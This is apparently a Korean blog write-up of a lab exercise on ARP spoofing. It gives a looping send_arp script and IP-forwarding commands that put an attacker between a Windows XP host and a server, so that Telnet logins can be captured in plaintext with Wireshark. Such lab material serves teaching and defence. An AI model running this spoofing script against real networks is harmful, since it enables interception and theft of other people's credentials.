본문 바로가기
Infra & Security Eng/Network & Security

while 반복문 이용하여 arp 스푸핑 공격과 평문 아이디, 비밀번호 갈취 실습, 결론

by 엔지니어 E 2026. 3. 12.
반응형

결론
공격 시스템에서 작성한 스크립트를 통해 XP와 Server 양측에 변조된 ARP Reply 패킷을 지속적으로 송신하였다. 이를 통해 양방향 데이터를 모두 공격자 자신을 거치도록 유도하였으며, 암호화되지 않은 Telnet의 취약점을 이용하여 사용자의 ID와 Password를 와이어샤크로 캡처 및 분석하였다
네트워크 구성도 
윈도우 xp로 진행(공격대상): 192.168.11.7
공격자: 192.168.11.36
server : 192.168.11.17
실습 하기

공격자 서버 (192.168.11.36)
1. 패키지 목록 업데이트, 설치 
# apt update - 패키지 목록 업데이트
# apt install -y fake fake - 패키지(send_arp 포함) 설치

2. IP Forwarding 활성화

# echo 1 > /proc/sys/net/ipv4/ip_forward

3. 공격 스크립트 작성 
ARP 테이블은 가만히 두면 정상 정보로 복구되므로, while 무한 루프를 이용해 계속 패킷을 쏴줘야 한다

# vi sarp - 스크립트 파일 생성 - 붙여넣기가 안된다면 : set mouse= 입력 
ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ
#!/bin/sh
while [ : ]  # 무한 반복 실행
do
  # XP(11.7)에게: "Server(11.17)의 MAC 주소는 내(공격자:dd:9d) 주소다"라고 속임
  send_arp 192.168.11.17 00:0c:29:5c:dd:9d 192.168.11.7  00:0c:29:b2:37:25

  # Server(11.17)에게: "XP(11.7)의 MAC 주소는 내(공격자:dd:9d) 주소다"라고 속임
  send_arp 192.168.11.7 00:0c:29:5c:dd:9d 192.168.11.17  00:0c:29:d2:44:66
done


4. 공격 실행
# chmod +x sarp - 실행 권한 부여 
# ./sarp - 스크립트 가동

공격 대상 서버(192.168.11.17)
# systemctl status telnet.socket - telnet 서비스 돌고 있는지 확인 
# iptables -I INPUT -p tcp --dport 23 -j ACCEPT - 방화벽에서 23번 포트 허용
# ss -antp | grep 23 - 23번 포트가 Listen 상태인지 확인 


명령어로 확인하기 
공격자가 보낸 거짓 정보를 받아 각 서버의의 주소가 바뀌었는지 확인함

공격 대상 서버 (192.168.11.7) 에서 ip n 으로 맥주소 변경되었음을 확인


공격 대상 서버 (192.168.11.17) 에서 ip n 으로 맥주소 변경되었음을 확인


실제 호스트 컴퓨터 에서 arp -a로 명령어로 맥주소 변경되었음을 확인




공격자 서버 (192.168.11.36) 에서 와이어 샤크 프로그램에서 두 서버(192.168.11.17,7) 간 거짓 정보가 담긴 arp 패킷을 확인함 


공격 대상 서버(192.168.11.17) 의telnet 아이디, 비밀번호 를 갈취할 수 있음을 확인함